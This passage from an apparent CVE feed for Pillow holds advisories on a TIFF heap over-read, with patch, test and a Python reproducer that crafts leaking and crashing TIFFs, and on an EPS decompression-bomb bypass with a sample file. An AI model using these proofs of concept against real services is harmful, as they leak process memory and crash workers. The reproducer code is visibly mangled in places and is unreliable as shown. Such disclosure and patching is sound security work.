shuffler( (UINT8 *)im->image[tile_y + y] + x * im->pixelsize, state->buffer + tile_y * row_byte_size, // <-- OOB stride current_tile_width ); } } } } ``` ```c // src/libImaging/Unpack.c:1288-1291 \u2014 copy4 (the crash site) static void copy4(UINT8 *out, const UINT8 *in, int pixels) { /* RGBA, CMYK quadruples */ memcpy(out, in, 4 * pixels); // <-- ASAN-detected READ here } ``` The PoC's tile metadata yields `tile_width = tile_length = 256`, `row_byte_size = 1024` (4 bytes/pixel \u00d7 256 pixels), and `tile_bytes_size = 196608` (which is 256\u00b7256\u00b73 = three-channel-byte storage). The realloc'd buffer is 196608 bytes. The unpacker iterates `tile_y` from 0 to 255 and for the highest rows the source pointer `state->buffer + tile_y * 1024` already lies at or past offset 196608 \u2014 the very last row's `memcpy(in=buffer+255\u00b71024, 1024)` reads 1024 bytes starting `260096 - 196608 = 63488` bytes past the allocation; ASAN flags the very first byte past the heap region (`READ of size 1024 at \u2026 0 bytes after 196608-byte region`). The mismatch is real: libtiff's `TIFFTileSize` returns the *packed* per-tile storage (which depends on the file's photometric/separation layout \u2014 it can legitimately be smaller than `row_byte_size \u00d7 tile_length`), while the inner loop strides as if the buffer always equals `row_byte_size \u00d7 tile_length`. ## Attribution This issue was found by Anthropic from using Claude to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers. The data in this report has been reviewed manually."}, {"id": "CVE-2026-112404", "fix_versions": ["13.0.0"], "aliases": ["GHSA-c6hw-5grf-ff96"], "description": "``` ============================================================================ OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels Location: src/libImaging/TiffDecode.c:483 in _decodeTile() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds. The bug is in `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c`. Both size their decode buffer from libtiff's view of the pixel layout (`TIFFTileSize()`/`TIFFTileRowSize()`, or `img.width * 4`). They then unpack each row with the unpacker that `TiffImagePlugin._setup()` chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. `_decodeStrip()` has exactly this check, added for OSS-Fuzz `crash-0da0` in 8.2.0, but the tile and RGBA paths never got it. The two parsers can be made to disagree with a duplicated `PhotometricInterpretation` or `BitsPerSample` tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile. The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0). The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in `copy4` \u2190 `_decodeTile` (`TiffDecode.c:483`) in most runs, depending on what is mapped after the buffer. ## Details `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c` size `state->buffer` from what libtiff says it will produce (`TIFFTileSize()`, resp. `img.width * 4`), but unpack each row with the shuffler that `TiffImagePlugin._setup()` selected from Pillow's *own* parse of the IFD. Nothing in either function checks that the unpacker's input row (`width * state->bits / 8` bytes) fits inside the row libtiff wrote. `_decodeStrip()` has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout \u2014 a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated `PhotometricInterpretation`/`BitsPerSample`/`SamplesPerPixel` entry (libtiff keeps the first occurrence, `ImageFileDirectory_v2.load()` the last) \u2014 the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (`RGBX`, `RGB;16N`, `RGBA;16N`, `I;32`, `F;32F`, \u2026); `RGBA;16N` (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer. The ~400-byte TIFF `tile_count2.tif` generated by the reproducer \u2014 one 16x16 tile, `BitsPerSample 8`, `SamplesPerPixel 1`, `Compression 8` (Adobe Deflate), and `PhotometricInterpretation` written as a SHORT with **count 2** (`6, 6`) \u2014 is opened by `Image.open()` as mode `RGB` with libtiff rawmode `RGBX`, and `load()` succeeds on the stock build. Rows 13\u201315 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under `MALLOC_PERTURB_=85` and `=170` yields identical rows 0\u201312 and different bytes in rows 13\u201315 (`aa` vs `55`, i.e. glibc's fill pattern). Under an ASan build of the extensions the same `load()` reports `heap-buffer-overflow READ of size 64` in `copy4` (`src/libImaging/Unpack.c:1290`) called from `src/libImaging/TiffDecode.c:483`, against the 256-byte region allocated at `TiffDecode.c:448`. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in `copy4 \u2190 _decodeTile` reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable). ### Why the two parsers disagree libtiff 4.5 rejects a `PhotometricInterpretation` entry whose count is not 1 (`TIFFFetchNormalTag: Incorrect count for \"PhotometricInterpretation\"; tag ignored`), so for this file `TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, \u2026)` returns 0 and libtiff treats the data as one 8-bit sample per pixel: `TIFFTileSize() = 256`, `TIFFTileRowSize() = 16`. Pillow keeps the first value and carries on: ```python # src/PIL/TiffImagePlugin.py:762-770 (ImageFileDirectory_v2._setitem, reached from load()) try: (dest[tag],) = values except ValueError: # We've got a builtin tag with 1 expected entry warnings.warn(f\"Metadata Warning, tag {tag} had too many entries: ...\") dest[tag] = values[0] ``` so `_setup()` sees `photo == 6`. `OPEN_INFO[(II, 6, (1,), 1, (8,), ())]` is `(\"L\", \"L\")`, and because the file is compressed the libtiff branch then overrides the rawmode: ```python # src/PIL/TiffImagePlugin.py:1578, 1600-1607 self.use_load_libtiff = READ_LIBTIFF or self._compression != \"raw\" \u2026 if photo == 6: self._mode = \"RGB\" if self._compression in \"jpeg\" and self._planar_configuration == 1: rawmode = \"RGB\" else: rawmode = \"RGBX\" ``` `RGBX` is a 32-bit rawmode, so `get_unpacker()` (`src/decode.c:301-309`) sets `state->bits = 32` and `state->shuffle = copy4`. The intent of the `photo == 6` override is that libtiff will deliver RGBA through `TIFFRGBAImage`, but that decision is made in C from *libtiff's* reading of the tag, which here is \"not YCbCr\": ```c // src/libImaging/TiffDecode.c:737-764 TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric); // unset -> stays 0 \u2026 readAsRGBA = photometric == PHOTOMETRIC_YCBCR; // 0 \u2026 if (TIFFIsTiled(tiff)) { _decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4 ``` ### The missing check `_decodeTile()` only guards against libtiff's tile being *larger* than what the unpacker expects, then allocates exactly `TIFFTileSize()` bytes and feeds `row_byte_size`-strided rows to the shuffler: ```c // src/libImaging/TiffDecode.c:403-487 (_decodeTile) tile_bytes_size = TIFFTileSize(tiff); // 256 \u2026 row_byte_size = TIFFTileRowSize(tiff); // 16 \u2026 if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { // 256 > 1024 is false -> no abort \u2026 } state->bytes = tile_bytes_size; new_data = realloc(state->buffer, state->bytes); // 256-byte buffer (line 448) \u2026 for (tile_y = 0; tile_y < current_tile_length; tile_y++) { shuffler( // copy4: reads current_tile_width*4 = 64 bytes (UINT8 *)im->image[tile_y + y] + x * im->pixelsize, state->buffer + tile_y * row_byte_size, // from offset 16*tile_y current_tile_width ); ``` Row `tile_y` is read from `[16\u00b7tile_y, 16\u00b7tile_y + 64)`; for `tile_y` = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to `(state->bits / libtiff_bits_per_pixel \u2212 1) \u00d7 row_byte_size` bytes, and `row_byte_size` scales with the attacker-chosen `TileWidth`. Note also that the existing one-sided check at line 434 multiplies the file-controlled `tile_width`/`tile_length` (`UINT32`, accepted up to `INT_MAX` at line 428) by `state->bits` in 32-bit unsigned arithmetic, so `tile_width * state->bits` wraps for `tile_width \u2265 2^32 / bits` (2^26 for the 64-bit rawmodes, 2^27 for `RGBX`/`I;32`/`F;32F`). An 8 KB file declaring a 2,097,152\u00d71 image with `TILEWIDTH = 2^26+16`, `TILELENGTH = 1`, 1-bit data for libtiff and `RGBA;16N` for Pillow makes libtiff allocate an ~8 MB tile from which `unpackRGBA16L` reads 16 MB, and the stock build SIGSEGVs in `unpackRGBA16L \u2190 _decodeTile (TiffDecode.c:483)`; a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type. Compare the strip path, which refuses this situation (added for OSS-Fuzz `crash-0da0` in 8.2.0): ```c // src/libImaging/TiffDecode.c:528-548 (_decodeStrip) unpacker_row_byte_size = (state->xsize * state->bits / planes + 7) / 8; \u2026 row_byte_size = TIFFScanlineSize(tiff); // if the unpacker calculated row size is > row byte size, (at least) the last // row of the strip will have a read buffer overflow. if (row_byte_size == 0 || unpacker_row_byte_size > row_byte_size) { state->errcode = IMAGING_CODEC_BROKEN; return -1; } ``` The identical file written with one strip instead of one tile fails `load()` with `OSError: decoder error -2` because of this check. ### Same gap in `_decodeAsRGBA()` `_decodeAsRGBA()` always produces `img.width * 4` bytes per row (`TiffDecode.c:325`, buffer allocated at line 339) and unpacks with `state->shuffle` (line 373) without looking at `state->bits`. It is reached when *libtiff* sees YCbCr while Pillow does not force `RGBX`. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's `ImageFileDirectory_v2.load()` overwrites (`TiffImagePlugin.py:945`, last wins). The reproducer's `ycbcr_dup.tif` is a 16x16 Deflate strip with `PhotometricInterpretation` present twice (`6`, then `2`) and `BitsPerSample` twice (`8,8,8`, then `16,16,16`): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects `RGB;16N` (`state->bits = 48`), and `unpackRGB16L` reads 96 bytes per 64-byte row \u2014 ASan reports `heap-buffer-overflow` in `unpackRGB16L` (`Unpack.c:609`) from `TiffDecode.c:373`, past the 1024-byte region from `TiffDecode.c:339`. The count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample `photo == 6` file only gets rawmode `RGBX` since the unreleased commit 155330d63 (\"Do not open YCbCr colorspace images as RGB without libtiff (#9779)\", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two `PhotometricInterpretation` entries (`1` or `2`, then `6`) produces the same `copy4` \u2190 `_decodeTile` over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps `6` and unpacks 4 (the reproducer's `tile_dup.tif`). `ycbcr_dup.tif` above reaches `_decodeAsRGBA()` the same way. ## Impact Any application that calls `Image.open()` + `load()` (or `thumbnail()`, `convert()`, `save()`, \u2026) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and `TiffDecode.c` without `READ_LIBTIFF` being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included \u2014 up to three libtiff tile rows past the buffer for the `RGBX`-over-8-bit case, with the tile row length (`TileWidth`) chosen by the attacker. `state->buffer` is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about `(unpacker_bpp / libtiff_bpp \u2212 1)` tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized `Imaging` rows, so this is disclosure / crash, not memory corruption. This is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in `TiffDecode.c`); that fix and the later `crash-0da0` fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a (\"Check for dimensions and sizes to fit into int\", 2021-01-25), which switched `_decodeTile()` from a buffer sized by Pillow's unpacker to `TIFFTileSize()`/`TIFFTileRowSize()`; it is first in Pillow 8.2.0. The `_decodeAsRGBA()` half dates from eb8c1206d6b1 (\"Fix CVE-2020-35654 - OOB Write in TiffDecode.c\"), first in 8.1.0. ## Reproducing Run `repro` (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end. The script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and `TiffDecode.c`. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process: - **`tile_count2.tif`**: a 16x16, 1-sample, 8-bit tile with `PhotometricInterpretation` written as SHORT count 2, `(6, 6)`. Pillow keeps `6` and unpacks with `copy4` (`RGBX`, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased). - **`tile_dup.tif`**: a 16x16, 3-sample, 8-bit tile with `PhotometricInterpretation` present twice, `2` then `6`. libtiff keeps `2` (RGB, 3 bytes per pixel) and Pillow keeps `6` (`RGBX`, 4 bytes per pixel). This variant also applies to released versions. - **`ycbcr_dup.tif`**: the 16x16 strip with `BitsPerSample` `8,8,8` then `16,16,16` and `PhotometricInterpretation` `6` then `2`. libtiff decodes 8-bit YCbCr through `_decodeAsRGBA()` (4 bytes per pixel), and Pillow unpacks `RGB;16N` with `unpackRGB16L` (6 bytes per pixel). - **`tile_big.tif`**: the `tile_count2.tif` layout with a single 65536x16 tile. For each of the first three files, the script runs `Image.open()` + `load()` + `tobytes()` twice, once with `MALLOC_PERTURB_=85` and once with `=170`. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the `aa`/`55` fill bytes show up, along with heap pointer bytes. The script then decodes `tile_big.tif` and checks for a SIGSEGV (exit status -11). If `gdb` is available, it prints the top frames: `copy4` (`Unpack.c:1290`) \u2190 `_decodeTile` (`TiffDecode.c:483`) \u2190 `ImagingLibTiffDecode`. This crash depends on ASLR, so an occasional run may survive. Each step prints which `_imaging` build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is `BUG` if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is `OK`. ## Suggested fix The attached patch restores the `_decodeStrip()` invariant (the unpacker's input row must fit inside libtiff's row) in the two sibling decoders in `src/libImaging/TiffDecode.c`, at the point where each one sizes its buffer: - `_decodeTile()` computes `unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8` (the `tsize_t` cast keeps the product out of 32-bit arithmetic, so the `TILEWIDTH = 2^26+16` case above cannot wrap past the check on 64-bit builds). It reuses that value for the existing `TIFFTileSize()` sanity check, as `_decodeStrip()` does for strips. After that check and before the `realloc`, it fails with `IMAGING_CODEC_BROKEN` when `unpacker_row_byte_size > row_byte_size` (`TIFFTileRowSize()`). - `_decodeAsRGBA()` fails with `IMAGING_CODEC_BROKEN` when `state->bits > 32`, because `TIFFRGBAImage` rows are always 32 bits per pixel. This check runs before `TIFFRGBAImageBegin()` and any allocation. With the patch, the tile and RGBA files fail `load()` with `OSError: decoder error -2`, the same result the equivalent strip file already gets. The patch also adds a regression test to `Tests/test_file_libtiff.py` (`test_unpacker_row_wider_than_libtiff_row`). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file's existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and `Tests/test_file_tiff.py`, `Tests/test_file_libtiff.py` and `Tests/test_tiff_crashes.py` pass. These checks close the over-read however the two parsers are made to disagree. Separately, `_setup()` could stop deriving the libtiff rawmode from tags that libtiff will read differently \u2014 e.g. treat a `PhotometricInterpretation`/`BitsPerSample`/`Compression` that is not a single well-typed value as \"unknown pixel mode\", the way `ImageWidth`/`ImageLength` are already required to be `int` at `TiffImagePlugin.py:1473`, or have `ImageFileDirectory_v2.load()` keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) \u2014 but that only narrows the ways to reach the C-side gap rather than removing it: `TiffImagePlugin` cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read. ## The patch Reject TIFFs whose unpacker row is wider than libtiff's decoded row in _decodeTile() and _decodeAsRGBA(), as _decodeStrip() already does Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..c08dfe77c 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase): with pytest.raises(OSError, match=\"decoder error -9\"): im.load() + @pytest.mark.parametrize( + \"data\", + ( + # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that + # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel) + # while libtiff ignores it and decodes 1 byte/pixel. + ( + b\"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA\" + b\"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA\" + b\"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4\" + b\"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm\" + b\"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT\" + b\"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A\" + b\"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt\" + b\"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna\" + b\"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo=\" + ), + # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation + # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA) + # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel). + ( + b\"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA\" + b\"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA\" + b\"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB\" + b\"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS\" + b\"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3\" + b\"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J\" + b\"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x\" + b\"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w\" + b\"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x\" + b\"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA\" + b\"EAAQAA==\" + ), + ), + ) + @pytest.mark.filterwarnings(\"ignore:Metadata Warning\") + def test_unpacker_row_wider_than_libtiff_row(self, data: bytes) -> None: + # The unpacker chosen by Pillow reads more bytes per row than libtiff + # decoded, so the decoder must reject the image rather than read past + # the end of its buffer + with Image.open(io.BytesIO(base64.b64decode(data))) as im: + with pytest.raises(OSError, match=\"decoder error -2\"): + im.load() + @pytest.mark.parametrize(\"compression\", (\"tiff_adobe_deflate\", \"jpeg\")) def test_save_multistrip(self, compression: str, tmp_path: Path) -> None: im = hopper(\"RGB\").resize((256, 256)) diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..2ee6c5f0a 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -304,6 +304,15 @@ _decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF *tiff) { TRACE((\"RowsPerBlock: %u \\n\", rows_per_block)); + // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel + // than that, (at least) the last row of the block will have a read buffer + // overflow. + if (state->bits > 32) { + TRACE((\"Decode Error, unpacker bits %d > 32\\n\", state->bits)); + state->errcode = IMAGING_CODEC_BROKEN; + return -1; + } + if (!(TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg))) { TRACE((\"Decode error, msg: %s\", emsg)); state->errcode = IMAGING_CODEC_BROKEN; @@ -397,7 +406,7 @@ _decodeTile( ) { INT32 x, y, tile_y, current_tile_length, current_tile_width; UINT32 tile_width, tile_length; - tsize_t tile_bytes_size, row_byte_size; + tsize_t tile_bytes_size, row_byte_size, unpacker_row_byte_size; UINT8 *new_data; tile_bytes_size = TIFFTileSize(tiff); @@ -431,7 +440,8 @@ _decodeTile( return -1; } - if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { + unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8; + if (tile_bytes_size > (unpacker_row_byte_size * tile_length)) { // If the tile size as expected by LibTiff isn't what we're expecting, abort. // man: TIFFTileSize returns the equivalent size for a tile of data as it // would be returned in a call to TIFFReadTile ... @@ -439,6 +449,13 @@ _decodeTile( return -1; } + // if the unpacker calculated row size is > row byte size, (at least) the last + // row of the tile will have a read buffer overflow. + if (unpacker_row_byte_size > row_byte_size) { + state->errcode = IMAGING_CODEC_BROKEN; + return -1; + } + state->bytes = tile_bytes_size; TRACE((\"TIFFTileSize: %d\\n\", state->bytes)); ``` ## The reproducer Reproducer \u2014 repro, 4,178 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # Heap over-read in _decodeTile()/_decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build, # no sanitizer needed. Pillow picks the row unpacker from its own IFD parse, libtiff sizes the # decode buffer from its parse; when they disagree the unpacker reads past state->buffer and the # bytes land in the image. Evidence: (1) pixels of a fully-defined 16x16 file change with glibc's # MALLOC_PERTURB_ fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile # SIGSEGVs in copy4 <- _decodeTile. Runs in a few seconds. import os, shutil, struct, subprocess, sys, tempfile, zlib W = tempfile.mkdtemp(); S, L = 3, 4 def tiff(entries, data): # little-endian classic TIFF, one IFD, tags in given order data_off = 8 + 2 + 12 * len(entries) + 4; extra_off = data_off + len(data) ifd, extra = struct.pack(\" 4: raw, extra = struct.pack(\" 1 B/px; Pillow keeps 6 -> RGBX copy4 4 B/px (HEAD only) \"tile_count2.tif\": tile(16, 16, 1, [(262, S, [6, 6])]), # Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions) \"tile_dup.tif\": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]), # strip, libtiff sees 8-bit YCbCr -> _decodeAsRGBA 4 B/px; Pillow sees RGB;16 -> 6 B/px \"ycbcr_dup.tif\": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]), (262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]), (530, S, [1, 1])], d), \"tile_big.tif\": tile(65536, 16, 1, [(262, S, [6, 6])]), } for n, b in files.items(): open(f\"{W}/{n}\", \"wb\").write(b) LOAD = r\"\"\" import sys, warnings; warnings.simplefilter(\"ignore\") from PIL import Image im = Image.open(sys.argv[1]); print(Image.core.__file__, im.mode, im.size, im.tile[0].args[0], file=sys.stderr) im.load(); sys.stdout.write(im.tobytes().hex()) \"\"\" def run(name, perturb): p = subprocess.run([sys.executable, \"-c\", LOAD, f\"{W}/{name}\"], capture_output=True, text=True, env=dict(os.environ, MALLOC_PERTURB_=str(perturb))) return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [\"\"] leak = False for n in (\"tile_count2.tif\", \"tile_dup.tif\", \"ycbcr_dup.tif\"): r1, a, info = run(n, 85); r2, b, _ = run(n, 170) print(f\"== {n}: {info[0]} rc={r1},{r2}\") if r1 == 0 and r2 == 0 and a != b: i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2]) print(f\" pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:\") print(f\" PERTURB=85 : ...{a[i-8:i+40]}\\n PERTURB=170: ...{b[i-8:i+40]}\") leak = True else: print(\" identical output / error -> no leak observed\") rc, _, info = run(\"tile_big.tif\", 0) print(f\"== tile_big.tif: {info[0]} rc={rc}\" + (\" (SIGSEGV)\" if rc == -11 else \"\")) crash = rc == -11 if crash and shutil.which(\"gdb\"): bt = subprocess.run([\"gdb\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt 4\", \"--args\", sys.executable, \"-c\", LOAD, f\"{W}/tile_big.tif\"], capture_output=True, text=True).stdout print(\"\\n\".join(l for l in bt.splitlines() if l.startswith(\"#\"))) shutil.rmtree(W) print(f\"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}\") print(\"BUG\" if leak or crash else \"OK\") ``` ---"}, {"id": "CVE-2026-112899", "fix_versions": ["13.0.0"], "aliases": ["GHSA-vx6w-vv9f-6gvg"], "description": "``` ============================================================================ EPS load(scale) lets Ghostscript render past the decompression bomb limit Location: src/PIL/EpsImagePlugin.py:92 in Ghostscript() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` When an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale\u00b2 times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file. The cause is in `Ghostscript()` in `src/PIL/EpsImagePlugin.py`. It multiplies the file-declared size by the caller's `scale` (lines 93-94) and passes the product to `gs` as the `-g` output geometry. It never calls `Image._decompression_bomb_check()` on the scaled size. The only check is the one `Image.open()` ran on the unscaled size, so a file declaring 9000\u00d79000 passes, and `load(scale=2)` then asks Ghostscript for 18000\u00d718000 (3.6\u00d7 `MAX_IMAGE_PIXELS`). A file declaring 18000\u00d718000 directly would be refused before Ghostscript ever ran. `DecompressionBombError` fires only when Pillow reopens the output file, so Pillow's own in-process allocation stays bounded and there is no memory corruption. The effect is a constant-factor overshoot rather than an unbounded one, for three reasons: * The multiplier is an integer chosen by the application, not by the file. * With the default warning filter, `Image.open()` already lets files up to 2\u00d7 the limit reach Ghostscript at `scale=1`. * Any application feeding untrusted files to Ghostscript is already exposed to a tiny file that keeps Ghostscript busy indefinitely, since `gs` runs with no timeout. This is the EPS counterpart of the WMF `load(dpi)` gap closed in af70b075a. It has been present since the decompression-bomb limit was introduced in ce2955ec7 (2.5.0). The attached reproducer stubs out Ghostscript and shows a 76-byte file passing `Image.open()` and reaching `gs` with `-g18000x18000`. A one-line patch mirroring the WMF check is included. ## Details `EpsImageFile.load(scale=N)` (the documented way to rasterise an EPS at higher resolution) renders `width*N \u00d7 height*N` pixels through Ghostscript, but the only decompression-bomb check on the way is the one `Image.open()` ran on the *unscaled*, file-declared `width \u00d7 height`. The scaled product is never passed to `Image._decompression_bomb_check()` before `gs` is started. This 111-byte EPS declares 9000\u00d79000 = 81,000,000 pixels, below the default `MAX_IMAGE_PIXELS` (89,478,485), so `Image.open()` accepts it without even a warning: ``` %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 9000 9000 %%EndComments 0 0 moveto 9000 9000 lineto stroke showpage ``` `im.load(scale=2)` on it then executes ``` gs -q -g18000x18000 -r144.000000x144.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=pnmraw -sOutputFile=/tmp/tmpXXXX -c 0 0 translate -f attack.eps -c showpage ``` i.e. asks Ghostscript for an 18000\u00d718000 = 324,000,000-pixel raster (3.6\u00d7 `MAX_IMAGE_PIXELS`), whose `pnmraw` output is a 972,000,019-byte file in the temp directory. An EPS that declares 18000\u00d718000 directly is rejected by `Image.open()` with `DecompressionBombError` before Ghostscript is ever run; via `scale=2` the same raster is rendered first and the `DecompressionBombError` only appears afterwards, when Pillow opens the file Ghostscript produced. (Between 1\u00d7 and 2\u00d7 `MAX_IMAGE_PIXELS`, `Image.open()` only emits `DecompressionBombWarning`, so with the default warning filter an EPS declaring e.g. 13377\u00d713377 is already rendered at `scale=1` \u2014 a 537 MB PNM. Against that baseline, `scale=2` is 4\u00d7 an already-permitted render.) The arithmetic is in `Ghostscript()`: ```python # src/PIL/EpsImagePlugin.py:91-97 # Hack to support hi-res rendering scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale # resolution is dependent 